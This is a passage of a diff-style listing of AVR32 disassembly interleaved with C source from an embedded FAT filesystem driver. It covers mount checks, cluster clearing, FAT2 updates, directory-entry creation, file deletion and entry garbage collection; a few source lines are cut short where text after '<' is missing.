partition mounted and a file is opened +//! @return false otherwise +//! +Bool fat_check_mount_select_open( void ) +{ +80005100: d4 01 pushm lr + if( !fat_check_mount() ) +80005102: f0 1f 00 06 mcall 80005118 +80005106: c0 70 breq 80005114 + return false; + if( !fat_check_select() ) +80005108: f0 1f 00 05 mcall 8000511c +8000510c: c0 40 breq 80005114 + return false; + return fat_check_open(); +8000510e: f0 1f 00 05 mcall 80005120 +80005112: d8 02 popm pc +80005114: d8 0a popm pc,r12=0 +80005116: 00 00 add r0,r0 +80005118: 80 00 ld.sh r0,r0[0x0] +8000511a: 50 b0 stdsp sp[0x2c],r0 +8000511c: 80 00 ld.sh r0,r0[0x0] +8000511e: 3f 00 mov r0,-16 +80005120: 80 00 ld.sh r0,r0[0x0] +80005122: 3e e0 mov r0,-18 + +80005124 : +//! +//! @return true partition mounted and no file is opened and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select_noopen( void ) +{ +80005124: d4 01 pushm lr + if( !fat_check_mount() ) +80005126: f0 1f 00 06 mcall 8000513c +8000512a: c0 70 breq 80005138 + return false; + if( !fat_check_select() ) +8000512c: f0 1f 00 05 mcall 80005140 +80005130: c0 40 breq 80005138 + return false; + return fat_check_noopen(); +80005132: f0 1f 00 05 mcall 80005144 +80005136: d8 02 popm pc +80005138: d8 0a popm pc,r12=0 +8000513a: 00 00 add r0,r0 +8000513c: 80 00 ld.sh r0,r0[0x0] +8000513e: 50 b0 stdsp sp[0x2c],r0 +80005140: 80 00 ld.sh r0,r0[0x0] +80005142: 3f 00 mov r0,-16 +80005144: 80 00 ld.sh r0,r0[0x0] +80005146: 50 74 stdsp sp[0x1c],r4 + +80005148 : +//! +//! @return true partition mounted and no file is opened +//! @return false otherwise +//! +Bool fat_check_mount_noopen( void ) +{ +80005148: d4 01 pushm lr + if( !fat_check_mount() ) +8000514a: f0 1f 00 04 mcall 80005158 +8000514e: c0 30 breq 80005154 + return false; + return fat_check_noopen(); +80005150: f0 1f 00 03 mcall 8000515c +} +80005154: d8 02 popm pc +80005156: 00 00 add r0,r0 +80005158: 80 00 ld.sh r0,r0[0x0] +8000515a: 50 b0 stdsp sp[0x2c],r0 +8000515c: 80 00 ld.sh r0,r0[0x0] +8000515e: 50 74 stdsp sp[0x1c],r4 + +80005160 : +//! +uint8_t fat_translate_char_shortname( uint8_t character ) +{ + uint8_t u8_j; + + if( (character<=' ') || ('~' + return 0; + if( ('a'<=character) && (character<='z') ) +8000516e: f8 c9 00 61 sub r9,r12,97 +80005172: 31 98 mov r8,25 +80005174: f0 09 18 00 cp.b r9,r8 +80005178: e0 88 00 07 brls 80005186 + { + return (character - ('a'-'A')); // Change to upper case + } + for( u8_j = 0 ; u8_j < sizeof(fs_s_execption_char) ; u8_j++ ) + { + if( character == fs_s_execption_char[u8_j] ) +8000517c: 32 b8 mov r8,43 +8000517e: f0 0c 18 00 cp.b r12,r8 +80005182: c0 51 brne 8000518c +80005184: c1 08 rjmp 800051a4 + + if( (character<=' ') || ('~' +8000518e: f4 c8 ff ff sub r8,r10,-1 +//! @param character character to translate +//! +//! @return character translated
+//! if no supported then 0 +//! +uint8_t fat_translate_char_shortname( uint8_t character ) +80005192: 2f 9a sub r10,-7 + { + return (character - ('a'-'A')); // Change to upper case + } + for( u8_j = 0 ; u8_j < sizeof(fs_s_execption_char) ; u8_j++ ) + { + if( character == fs_s_execption_char[u8_j] ) +80005194: 11 89 ld.ub r9,r8[0x0] +80005196: f8 09 18 00 cp.b r9,r12 +8000519a: c0 50 breq 800051a4 +8000519c: 2f f8 sub r8,-1 + return 0; + if( ('a'<=character) && (character<='z') ) + { + return (character - ('a'-'A')); // Change to upper case + } + for( u8_j = 0 ; u8_j < sizeof(fs_s_execption_char) ; u8_j++ ) +8000519e: 14 38 cp.w r8,r10 +800051a0: cf a1 brne 80005194 +800051a2: 5e fc retal r12 +800051a4: 5e fd retal 0 +800051a6: 00 00 add r0,r0 +800051a8: 80 00 ld.sh r0,r0[0x0] +800051aa: 7e dc ld.w r12,pc[0x34] + +800051ac : +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the cache information about FAT modifications +//! +void fat_clear_info_fat_mod( void ) +{ + fs_g_u32_first_mod_fat = 0xFFFFFFFF; +800051ac: 3f f9 mov r9,-1 +800051ae: 48 48 lddpc r8,800051bc +800051b0: 91 09 st.w r8[0x0],r9 + fs_g_u32_last_mod_fat = 0; +800051b2: 30 09 mov r9,0 +800051b4: 48 38 lddpc r8,800051c0 +800051b6: 91 09 st.w r8[0x0],r9 +} +800051b8: 5e fc retal r12 +800051ba: 00 00 add r0,r0 +800051bc: 00 00 add r0,r0 +800051be: 06 b8 st.h r3++,r8 +800051c0: 00 00 add r0,r0 +800051c2: 04 80 andn r0,r2 + +800051c4 : +//! IN : +//! fs_g_seg.u32_addr Cluster value to clear +//! @endverbatim +//! +Bool fat_clear_cluster( void ) +{ +800051c4: d4 21 pushm r4-r7,lr + uint8_t u8_loop; + + // Compute the cluster sector address + fs_g_seg.u32_size_or_pos = 0; // Select the beginning of cluster +800051c6: 30 0b mov r11,0 +800051c8: 49 58 lddpc r8,8000521c +800051ca: 91 1b st.w r8[0x4],r11 + if( !fat_cluster_list( FS_CLUST_ACT_ONE, false )) +800051cc: 30 2c mov r12,2 +800051ce: f0 1f 00 15 mcall 80005220 +800051d2: c2 30 breq 80005218 + return false; + + // Loop in the cluster (start at the end of cluster) + fs_gu32_addrsector = fs_g_seg.u32_addr + (fs_g_nav.u8_BPB_SecPerClus -1); +800051d4: 49 48 lddpc r8,80005224 +800051d6: 11 98 ld.ub r8,r8[0x1] +800051d8: 49 19 lddpc r9,8000521c +800051da: 72 0a ld.w r10,r9[0x0] +800051dc: 20 1a sub r10,1 +800051de: 10 0a add r10,r8 +800051e0: 49 29 lddpc r9,80005228 +800051e2: 93 0a st.w r9[0x0],r10 + for( u8_loop = 0 +800051e4: 58 08 cp.w r8,0 +800051e6: c1 a0 breq 8000521a +800051e8: 30 07 mov r7,0 + ; fs_g_nav.u8_BPB_SecPerClus != u8_loop + ; u8_loop++ ) + { + // Update internal cache with cluster sector inforamtion but don't read data from memory + if( !fat_cache_read_sector( false )) +800051ea: 0e 94 mov r4,r7 + if(0 == u8_loop) + { // Clean internal cache (just for the sector) + fat_cache_clear(); + } + fat_cache_mark_sector_as_dirty(); + fs_gu32_addrsector--; // go to previous sector +800051ec: 12 96 mov r6,r9 + if( !fat_cluster_list( FS_CLUST_ACT_ONE, false )) + return false; + + // Loop in the cluster (start at the end of cluster) + fs_gu32_addrsector = fs_g_seg.u32_addr + (fs_g_nav.u8_BPB_SecPerClus -1); + for( u8_loop = 0 +800051ee: 48 e5 lddpc r5,80005224 + ; fs_g_nav.u8_BPB_SecPerClus != u8_loop + ; u8_loop++ ) + { + // Update internal cache with cluster sector inforamtion but don't read data from memory + if( !fat_cache_read_sector( false )) +800051f0: 08 9c mov r12,r4 +800051f2: f0 1f 00 0f mcall 8000522c +800051f6: c1 10 breq 80005218 + return false; + + if(0 == u8_loop) +800051f8: 58 07 cp.w r7,0 +800051fa: c0 31 brne 80005200 + { // Clean internal cache (just for the sector) + fat_cache_clear(); +800051fc: f0 1f 00 0d mcall 80005230 + } + fat_cache_mark_sector_as_dirty(); +80005200: f0 1f 00 0d mcall 80005234 + fs_gu32_addrsector--; // go to previous sector +80005204: 6c 08 ld.w r8,r6[0x0] +80005206: 20 18 sub r8,1 +80005208: 8d 08 st.w r6[0x0],r8 + + // Loop in the cluster (start at the end of cluster) + fs_gu32_addrsector = fs_g_seg.u32_addr + (fs_g_nav.u8_BPB_SecPerClus -1); + for( u8_loop = 0 + ; fs_g_nav.u8_BPB_SecPerClus != u8_loop + ; u8_loop++ ) +8000520a: 2f f7 sub r7,-1 +8000520c: 5c 57 castu.b r7 + if( !fat_cluster_list( FS_CLUST_ACT_ONE, false )) + return false; + + // Loop in the cluster (start at the end of cluster) + fs_gu32_addrsector = fs_g_seg.u32_addr + (fs_g_nav.u8_BPB_SecPerClus -1); + for( u8_loop = 0 +8000520e: 0b 98 ld.ub r8,r5[0x1] +80005210: ee 08 18 00 cp.b r8,r7 +80005214: ce e1 brne 800051f0 +80005216: c0 28 rjmp 8000521a +80005218: d8 2a popm r4-r7,pc,r12=0 +8000521a: da 2a popm r4-r7,pc,r12=1 +8000521c: 00 00 add r0,r0 +8000521e: 07 2c ld.uh r12,r3++ +80005220: 80 00 ld.sh r0,r0[0x0] +80005222: 4b 84 lddpc r4,80005300 +80005224: 00 00 add r0,r0 +80005226: 06 84 andn r4,r3 +80005228: 00 00 add r0,r0 +8000522a: 04 40 or r0,r2 +8000522c: 80 00 ld.sh r0,r0[0x0] +8000522e: 48 2c lddpc r12,80005234 +80005230: 80 00 ld.sh r0,r0[0x0] +80005232: 48 14 lddpc r4,80005234 +80005234: 80 00 ld.sh r0,r0[0x0] +80005236: 46 0c lddsp r12,sp[0x180] + +80005238 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_update_fat2( void ) +{ +80005238: eb cd 40 fc pushm r2-r7,lr + while( fs_g_u32_first_mod_fat <= fs_g_u32_last_mod_fat ) +8000523c: 49 68 lddpc r8,80005294 +8000523e: 70 08 ld.w r8,r8[0x0] +80005240: 49 69 lddpc r9,80005298 +80005242: 72 09 ld.w r9,r9[0x0] +80005244: 12 38 cp.w r8,r9 +80005246: e0 8b 00 25 brhi 80005290 + { + // Compute the modification position of FAT 1 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + fs_g_u32_first_mod_fat; +8000524a: 49 55 lddpc r5,8000529c +8000524c: 49 57 lddpc r7,800052a0 + // Read FAT1 + if( !fat_cache_read_sector( true )) +8000524e: 30 13 mov r3,1 + return false; + // Compute the modification position of FAT 2 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + (fs_g_u32_first_mod_fat + fs_g_nav.u32_fat_size); +80005250: 49 16 lddpc r6,80005294 + // Init the sector FAT2 with the previous sector of the FAT1 + if( !fat_cache_read_sector( false )) +80005252: 30 02 mov r2,0 +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_update_fat2( void ) +{ + while( fs_g_u32_first_mod_fat <= fs_g_u32_last_mod_fat ) +80005254: 49 14 lddpc r4,80005298 + { + // Compute the modification position of FAT 1 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + fs_g_u32_first_mod_fat; +80005256: 6e 49 ld.w r9,r7[0x10] +80005258: 12 08 add r8,r9 +8000525a: 8b 08 st.w r5[0x0],r8 + // Read FAT1 + if( !fat_cache_read_sector( true )) +8000525c: 06 9c mov r12,r3 +8000525e: f0 1f 00 12 mcall 800052a4 +80005262: c1 50 breq 8000528c + return false; + // Compute the modification position of FAT 2 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + (fs_g_u32_first_mod_fat + fs_g_nav.u32_fat_size); +80005264: 6e 19 ld.w r9,r7[0x4] +80005266: 6e 48 ld.w r8,r7[0x10] +80005268: f2 08 00 08 add r8,r9,r8 +8000526c: 6c 09 ld.w r9,r6[0x0] +8000526e: 12 08 add r8,r9 +80005270: 8b 08 st.w r5[0x0],r8 + // Init the sector FAT2 with the previous sector of the FAT1 + if( !fat_cache_read_sector( false )) +80005272: 04 9c mov r12,r2 +80005274: f0 1f 00 0c mcall 800052a4 +80005278: c0 a0 breq 8000528c + return false; + // Flag the sector FAT2 like modify + fat_cache_mark_sector_as_dirty(); +8000527a: f0 1f 00 0c mcall 800052a8 + fs_g_u32_first_mod_fat++; +8000527e: 6c 08 ld.w r8,r6[0x0] +80005280: 2f f8 sub r8,-1 +80005282: 8d 08 st.w r6[0x0],r8 +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_update_fat2( void ) +{ + while( fs_g_u32_first_mod_fat <= fs_g_u32_last_mod_fat ) +80005284: 68 09 ld.w r9,r4[0x0] +80005286: 10 39 cp.w r9,r8 +80005288: ce 72 brcc 80005256 +8000528a: c0 38 rjmp 80005290 +8000528c: e3 cf 80 fc ldm sp++,r2-r7,pc,r12=0 +80005290: e3 cf 90 fc ldm sp++,r2-r7,pc,r12=1 +80005294: 00 00 add r0,r0 +80005296: 06 b8 st.h r3++,r8 +80005298: 00 00 add r0,r0 +8000529a: 04 80 andn r0,r2 +8000529c: 00 00 add r0,r0 +8000529e: 04 40 or r0,r2 +800052a0: 00 00 add r0,r0 +800052a2: 06 84 andn r4,r3 +800052a4: 80 00 ld.sh r0,r0[0x0] +800052a6: 48 2c lddpc r12,800052ac +800052a8: 80 00 ld.sh r0,r0[0x0] +800052aa: 46 0c lddsp r12,sp[0x180] + +800052ac : +//! OUT: +//! update the sector cache with init directory datas +//! @endverbatim +//! +Bool fat_initialize_dir( void ) +{ +800052ac: d4 01 pushm lr + uint8_t u8_i; + + // Clear the cluster corresponding at directory + if( !fat_clear_cluster()) +800052ae: f0 1f 00 21 mcall 80005330 +800052b2: c3 e0 breq 8000532e + return false; + fat_cache_mark_sector_as_dirty(); +800052b4: f0 1f 00 20 mcall 80005334 + // here, the internal cache is the first sector of the cluster + + // Create the dot "." entry, this one is a directory that points to itself + fs_g_sector[0]='.'; +800052b8: 4a 0b lddpc r11,80005338 +800052ba: 16 98 mov r8,r11 +800052bc: 32 e9 mov r9,46 +800052be: 10 c9 st.b r8++,r9 +//! fs_g_seg.u32_addr cluster value of a directory +//! OUT: +//! update the sector cache with init directory datas +//! @endverbatim +//! +Bool fat_initialize_dir( void ) +800052c0: f6 ca ff f5 sub r10,r11,-11 + // here, the internal cache is the first sector of the cluster + + // Create the dot "." entry, this one is a directory that points to itself + fs_g_sector[0]='.'; + for( u8_i=1 ; u8_i<11 ; u8_i++ ) + fs_g_sector[u8_i]=' '; +800052c4: 32 09 mov r9,32 +800052c6: 10 c9 st.b r8++,r9 + fat_cache_mark_sector_as_dirty(); + // here, the internal cache is the first sector of the cluster + + // Create the dot "." entry, this one is a directory that points to itself + fs_g_sector[0]='.'; + for( u8_i=1 ; u8_i<11 ; u8_i++ ) +800052c8: 14 38 cp.w r8,r10 +800052ca: cf e1 brne 800052c6 + fs_g_sector[u8_i]=' '; + fs_g_sector[11]=FS_ATTR_DIRECTORY; +800052cc: 49 b8 lddpc r8,80005338 +800052ce: 31 09 mov r9,16 +800052d0: f1 69 00 0b st.b r8[11],r9 + fs_g_sector[26]= LSB0( fs_g_nav_entry.u32_cluster ); +800052d4: 49 a9 lddpc r9,8000533c +800052d6: 2f c9 sub r9,-4 +800052d8: 13 ba ld.ub r10,r9[0x3] +800052da: f1 6a 00 1a st.b r8[26],r10 + fs_g_sector[27]= LSB1( fs_g_nav_entry.u32_cluster ); +800052de: 13 aa ld.ub r10,r9[0x2] +800052e0: f1 6a 00 1b st.b r8[27],r10 + fs_g_sector[20]= LSB2( fs_g_nav_entry.u32_cluster ); +800052e4: 13 9a ld.ub r10,r9[0x1] +800052e6: f1 6a 00 14 st.b r8[20],r10 + fs_g_sector[21]= LSB3( fs_g_nav_entry.u32_cluster ); +800052ea: 13 89 ld.ub r9,r9[0x0] +800052ec: f1 69 00 15 st.b r8[21],r9 + // Create the dotdot ".." entry, this one points to the starting cluster of the parent directory + fs_g_sector[FS_SIZE_FILE_ENTRY+0]='.'; +800052f0: 32 e9 mov r9,46 +800052f2: f1 69 00 20 st.b r8[32],r9 + fs_g_sector[FS_SIZE_FILE_ENTRY+1]='.'; +800052f6: f1 69 00 21 st.b r8[33],r9 +800052fa: 2d e8 sub r8,-34 +//! fs_g_seg.u32_addr cluster value of a directory +//! OUT: +//! update the sector cache with init directory datas +//! @endverbatim +//! +Bool fat_initialize_dir( void ) +800052fc: f6 ca ff d5 sub r10,r11,-43 + fs_g_sector[21]= LSB3( fs_g_nav_entry.u32_cluster ); + // Create the dotdot ".." entry, this one points to the starting cluster of the parent directory + fs_g_sector[FS_SIZE_FILE_ENTRY+0]='.'; + fs_g_sector[FS_SIZE_FILE_ENTRY+1]='.'; + for( u8_i=2 ; u8_i<11 ; u8_i++ ) + fs_g_sector[FS_SIZE_FILE_ENTRY+u8_i]=' '; +80005300: 32 09 mov r9,32 +80005302: 10 c9 st.b r8++,r9 + fs_g_sector[20]= LSB2( fs_g_nav_entry.u32_cluster ); + fs_g_sector[21]= LSB3( fs_g_nav_entry.u32_cluster ); + // Create the dotdot ".." entry, this one points to the starting cluster of the parent directory + fs_g_sector[FS_SIZE_FILE_ENTRY+0]='.'; + fs_g_sector[FS_SIZE_FILE_ENTRY+1]='.'; + for( u8_i=2 ; u8_i<11 ; u8_i++ ) +80005304: 14 38 cp.w r8,r10 +80005306: cf e1 brne 80005302 + fs_g_sector[FS_SIZE_FILE_ENTRY+u8_i]=' '; + fs_g_sector[FS_SIZE_FILE_ENTRY+11]=FS_ATTR_DIRECTORY; +80005308: 48 c8 lddpc r8,80005338 +8000530a: 31 09 mov r9,16 +8000530c: f1 69 00 2b st.b r8[43],r9 + fs_g_sector[FS_SIZE_FILE_ENTRY+26]= LSB0( fs_g_nav.u32_cluster_sel_dir ); +80005310: 48 c9 lddpc r9,80005340 +80005312: 2e 09 sub r9,-32 +80005314: 13 ba ld.ub r10,r9[0x3] +80005316: f1 6a 00 3a st.b r8[58],r10 + fs_g_sector[FS_SIZE_FILE_ENTRY+27]= LSB1( fs_g_nav.u32_cluster_sel_dir ); +8000531a: 13 aa ld.ub r10,r9[0x2] +8000531c: f1 6a 00 3b st.b r8[59],r10 + fs_g_sector[FS_SIZE_FILE_ENTRY+20]= LSB2( fs_g_nav.u32_cluster_sel_dir ); +80005320: 13 9a ld.ub r10,r9[0x1] +80005322: f1 6a 00 34 st.b r8[52],r10 + fs_g_sector[FS_SIZE_FILE_ENTRY+21]= LSB3( fs_g_nav.u32_cluster_sel_dir ); +80005326: 13 89 ld.ub r9,r9[0x0] +80005328: f1 69 00 35 st.b r8[53],r9 +8000532c: 30 1c mov r12,1 + + return true; +} +8000532e: d8 02 popm pc +80005330: 80 00 ld.sh r0,r0[0x0] +80005332: 51 c4 stdsp sp[0x70],r4 +80005334: 80 00 ld.sh r0,r0[0x0] +80005336: 46 0c lddsp r12,sp[0x180] +80005338: 00 00 add r0,r0 +8000533a: 04 84 andn r4,r2 +8000533c: 00 00 add r0,r0 +8000533e: 04 44 or r4,r2 +80005340: 00 00 add r0,r0 +80005342: 06 84 andn r4,r3 + +80005344 : +//! @verbatim +//! OUT: Update the entry in internal cache sector with a new long name entry +//! @endverbatim +//! +void fat_create_long_name_entry( FS_STRING sz_name , uint8_t u8_crc , uint8_t u8_id ) +{ +80005344: d4 31 pushm r0-r7,lr +80005346: 20 5d sub sp,20 +80005348: 18 97 mov r7,r12 +8000534a: 50 3b stdsp sp[0xc],r11 +8000534c: 14 96 mov r6,r10 + PTR_CACHE ptr_entry; + Bool b_end_of_name = false; + + fat_cache_mark_sector_as_dirty(); +8000534e: f0 1f 00 30 mcall 8000540c + ptr_entry = fat_get_ptr_entry(); +80005352: f0 1f 00 30 mcall 80005410 + *ptr_entry = u8_id; +80005356: 18 c6 st.b r12++,r6 + ptr_entry++; // The long name start at offset 1 of the entry file +80005358: 30 01 mov r1,0 +8000535a: 30 18 mov r8,1 + + for( u8_id=1; u8_id + { + *ptr_entry = FS_ATTR_LFN_ENTRY; // attribut field +80005374: b8 83 st.b r12[0x0],r3 + continue; +80005376: c4 58 rjmp 80005400 + } + if( (12 == u8_id) +80005378: ec 08 18 00 cp.b r8,r6 +8000537c: 5f 00 sreq r0 +8000537e: f6 08 18 00 cp.b r8,r11 +80005382: 5f 04 sreq r4 +80005384: 08 40 or r0,r4 +80005386: 00 94 mov r4,r0 +80005388: f4 00 18 00 cp.b r0,r10 +8000538c: c3 21 brne 800053f0 +8000538e: ea 08 18 00 cp.b r8,r5 +80005392: c3 70 breq 80005400 + { + // Reserved field + // *ptr_entry = 0x00; // No necessary because the cache must be clean + continue; + } + if( 13 == u8_id) +80005394: e4 08 18 00 cp.b r8,r2 +80005398: c0 41 brne 800053a0 + { + *ptr_entry = u8_crc; // CRC field +8000539a: 40 34 lddsp r4,sp[0xc] +8000539c: b8 84 st.b r12[0x0],r4 + continue; +8000539e: c3 18 rjmp 80005400 + } + + // fields with a character + if( !b_end_of_name ) +800053a0: 40 01 lddsp r1,sp[0x0] +800053a2: 58 01 cp.w r1,0 +800053a4: c2 41 brne 800053ec + uint16_t u16_tmp; + if( Is_unicode ) + { + u16_tmp = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_tmp = sz_name[0]; +800053a6: 0f 84 ld.ub r4,r7[0x0] +800053a8: fb 54 00 12 st.h sp[18],r4 + } + if(('\\' == u16_tmp ) +800053ac: 35 c1 mov r1,92 +800053ae: e2 04 19 00 cp.h r4,r1 +800053b2: 5f 00 sreq r0 +800053b4: 50 20 stdsp sp[0x8],r0 +800053b6: 32 f0 mov r0,47 +800053b8: e0 04 19 00 cp.h r4,r0 +800053bc: 5f 01 sreq r1 +800053be: 40 20 lddsp r0,sp[0x8] +800053c0: 02 40 or r0,r1 +800053c2: f4 00 18 00 cp.b r0,r10 +800053c6: c0 50 breq 800053d0 + || ('/' == u16_tmp ) ) + { // end of name + u16_tmp = 0; // Set a end of name flag +800053c8: 30 04 mov r4,0 +800053ca: fb 54 00 12 st.h sp[18],r4 +800053ce: c0 38 rjmp 800053d4 + } + if( 0 == u16_tmp ) +800053d0: 58 04 cp.w r4,0 +800053d2: c0 31 brne 800053d8 +800053d4: 30 14 mov r4,1 +800053d6: 50 04 stdsp sp[0x0],r4 + { + b_end_of_name = true; + } + *ptr_entry = LSB(u16_tmp); +800053d8: fa c4 ff ee sub r4,sp,-18 +800053dc: 09 90 ld.ub r0,r4[0x1] +800053de: 18 c0 st.b r12++,r0 + ptr_entry++; + *ptr_entry = MSB(u16_tmp); +800053e0: 09 84 ld.ub r4,r4[0x0] +800053e2: b8 84 st.b r12[0x0],r4 + u8_id++; +800053e4: 2f f8 sub r8,-1 +800053e6: 5c 58 castu.b r8 + sz_name += (Is_unicode? 2 : 1 ); +800053e8: 2f f7 sub r7,-1 +800053ea: c0 38 rjmp 800053f0 + } + else + { // end of name + *ptr_entry = 0xFF; // Padding mandatory +800053ec: 3f f1 mov r1,-1 +800053ee: b8 81 st.b r12[0x0],r1 + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + *ptr_entry = u8_id; + ptr_entry++; // The long name start at offset 1 of the entry file + + for( u8_id=1; u8_id +800053fc: 2f fc sub r12,-1 +800053fe: cb 8b rjmp 8000536e +80005400: 2f f8 sub r8,-1 +80005402: 5c 58 castu.b r8 +80005404: 2f fc sub r12,-1 +80005406: cb 4b rjmp 8000536e + else + { // end of name + *ptr_entry = 0xFF; // Padding mandatory + } + } // end of loop +} +80005408: 2f bd sub sp,-20 +8000540a: d8 32 popm r0-r7,pc +8000540c: 80 00 ld.sh r0,r0[0x0] +8000540e: 46 0c lddsp r12,sp[0x180] +80005410: 80 00 ld.sh r0,r0[0x0] +80005412: 42 64 lddsp r4,sp[0x98] + +80005414 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_delete_file( Bool b_cluster_list ) +{ +80005414: d4 31 pushm r0-r7,lr +80005416: 20 1d sub sp,4 +80005418: 50 0c stdsp sp[0x0],r12 +8000541a: 30 03 mov r3,0 + + // Get pointer on the current entry + ptr_entry = fat_get_ptr_entry(); + u8_tmp = ptr_entry[0]; + + if( (FS_ATTR_LFN_ENTRY != ptr_entry[11]) +8000541c: 30 f4 mov r4,15 +8000541e: 30 05 mov r5,0 + break; // Go to delete cluster list + } + + // Delete entry + b_short_del = true; + ptr_entry[0] = FS_ENTRY_DEL; +80005420: 3e 52 mov r2,-27 + // It is the last entry of long name + break; // Go to delete cluster list + } + + // Go to previous entry + fs_g_nav_fast.u16_entry_pos_sel_file--; +80005422: 49 a6 lddpc r6,80005488 +80005424: 30 10 mov r0,1 + + // loop in directory + while( 1 ) + { + // Fill internal cache with a sector from directory + if( !fat_read_dir() ) +80005426: f0 1f 00 1a mcall 8000548c +8000542a: c2 d0 breq 80005484 + return false; + + // Get pointer on the current entry + ptr_entry = fat_get_ptr_entry(); +8000542c: f0 1f 00 19 mcall 80005490 + u8_tmp = ptr_entry[0]; +80005430: 19 81 ld.ub r1,r12[0x0] + + if( (FS_ATTR_LFN_ENTRY != ptr_entry[11]) +80005432: f8 c7 ff f5 sub r7,r12,-11 +80005436: 0f 88 ld.ub r8,r7[0x0] +80005438: e8 08 18 00 cp.b r8,r4 +8000543c: 5f 19 srne r9 +8000543e: ea 03 18 00 cp.b r3,r5 +80005442: 5f 18 srne r8 +80005444: f3 e8 00 08 and r8,r9,r8 +80005448: ea 08 18 00 cp.b r8,r5 +8000544c: c1 01 brne 8000546c + break; // Go to delete cluster list + } + + // Delete entry + b_short_del = true; + ptr_entry[0] = FS_ENTRY_DEL; +8000544e: b8 82 st.b r12[0x0],r2 + fat_cache_mark_sector_as_dirty(); +80005450: f0 1f 00 11 mcall 80005494 + + if( (FS_ATTR_LFN_ENTRY == ptr_entry[11]) +80005454: 0f 88 ld.ub r8,r7[0x0] +80005456: e8 08 18 00 cp.b r8,r4 +8000545a: c0 41 brne 80005462 +8000545c: e2 11 00 40 andl r1,0x40,COH +80005460: c0 61 brne 8000546c + // It is the last entry of long name + break; // Go to delete cluster list + } + + // Go to previous entry + fs_g_nav_fast.u16_entry_pos_sel_file--; +80005462: 8c 18 ld.sh r8,r6[0x2] +80005464: 20 18 sub r8,1 +80005466: ac 18 st.h r6[0x2],r8 +80005468: 00 93 mov r3,r0 + } // end of while(1) +8000546a: cd eb rjmp 80005426 + + if( b_cluster_list ) +8000546c: 40 08 lddsp r8,sp[0x0] +8000546e: 58 08 cp.w r8,0 +80005470: c0 31 brne 80005476 +80005472: 30 1c mov r12,1 +80005474: c0 88 rjmp 80005484 + { + // Delete cluster list + fs_g_nav_entry.u32_pos_in_file=0; // Delete ALL list (start at begining) +80005476: 30 09 mov r9,0 +80005478: 48 88 lddpc r8,80005498 +8000547a: 91 39 st.w r8[0xc],r9 + if( !fat_read_file( FS_CLUST_ACT_CLR )) +8000547c: 30 3c mov r12,3 +8000547e: f0 1f 00 08 mcall 8000549c +80005482: 5f 1c srne r12 + return false; + } + + return true; +} +80005484: 2f fd sub sp,-4 +80005486: d8 32 popm r0-r7,pc +80005488: 00 00 add r0,r0 +8000548a: 06 d0 st.w --r3,r0 +8000548c: 80 00 ld.sh r0,r0[0x0] +8000548e: 4e 5c lddpc r12,80005620 +80005490: 80 00 ld.sh r0,r0[0x0] +80005492: 42 64 lddsp r4,sp[0x98] +80005494: 80 00 ld.sh r0,r0[0x0] +80005496: 46 0c lddsp r12,sp[0x180] +80005498: 00 00 add r0,r0 +8000549a: 04 44 or r4,r2 +8000549c: 80 00 ld.sh r0,r0[0x0] +8000549e: 4e e0 lddpc r0,80005654 + +800054a0 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_garbage_collector_entry( void ) +{ +800054a0: eb cd 40 fc pushm r2-r7,lr +800054a4: 20 8d sub sp,32 +800054a6: 30 06 mov r6,0 +800054a8: 0c 97 mov r7,r6 + + // Loop in directory + while( 1 ) + { + // Go to old entry list + fs_g_nav_fast.u16_entry_pos_sel_file=u16_pos_old; +800054aa: 4a 95 lddpc r5,8000554c + fs_g_nav_fast.u16_entry_pos_sel_file++; + } + return true; // End of garbage + } + + if ( FS_ENTRY_DEL != *ptr_entry ) +800054ac: 3e 54 mov r4,-27 + { + // entry valid + if( u16_pos_old != u16_pos_new ) + { + // A free space exist then move entry + memcpy_ram2ram( entry, ptr_entry, FS_SIZE_FILE_ENTRY ); +800054ae: 1a 93 mov r3,sp +800054b0: 32 02 mov r2,32 + + // Loop in directory + while( 1 ) + { + // Go to old entry list + fs_g_nav_fast.u16_entry_pos_sel_file=u16_pos_old; +800054b2: aa 17 st.h r5[0x2],r7 + // Fill internal cache with a sector from directory + if( !fat_read_dir() ) +800054b4: f0 1f 00 27 mcall 80005550 +800054b8: c0 81 brne 800054c8 + { + if( FS_ERR_OUT_LIST != fs_g_status ) +800054ba: 4a 78 lddpc r8,80005554 +800054bc: 11 89 ld.ub r9,r8[0x0] +800054be: 31 a8 mov r8,26 +800054c0: f0 09 18 00 cp.b r9,r8 +800054c4: c3 d1 brne 8000553e +800054c6: c0 68 rjmp 800054d2 + return false; + goto fat_garbage_collector_entry_endofdir; + } + + // Check entry + ptr_entry = fat_get_ptr_entry(); +800054c8: f0 1f 00 24 mcall 80005558 + + if ( FS_ENTRY_END == *ptr_entry ) +800054cc: 19 88 ld.ub r8,r12[0x0] +800054ce: 58 08 cp.w r8,0 +800054d0: c1 b1 brne 80005506 + { + // The entry is free, then it is the end of entry list +fat_garbage_collector_entry_endofdir: + // Fill empty entry in old list + fs_g_nav_fast.u16_entry_pos_sel_file=u16_pos_new; +800054d2: 49 f8 lddpc r8,8000554c +800054d4: b0 16 st.h r8[0x2],r6 + while( fs_g_nav_fast.u16_entry_pos_sel_file != u16_pos_old ) +800054d6: ec 07 19 00 cp.h r7,r6 +800054da: c3 40 breq 80005542 + { + // Fill internal cache with a sector from directory + if( !fat_read_dir() ) + return false; + memset( fat_get_ptr_entry() , 0 , 32 ); +800054dc: 32 05 mov r5,32 +800054de: 30 04 mov r4,0 + fat_cache_mark_sector_as_dirty(); + fs_g_nav_fast.u16_entry_pos_sel_file++; +800054e0: 49 b6 lddpc r6,8000554c + // Fill empty entry in old list + fs_g_nav_fast.u16_entry_pos_sel_file=u16_pos_new; + while( fs_g_nav_fast.u16_entry_pos_sel_file != 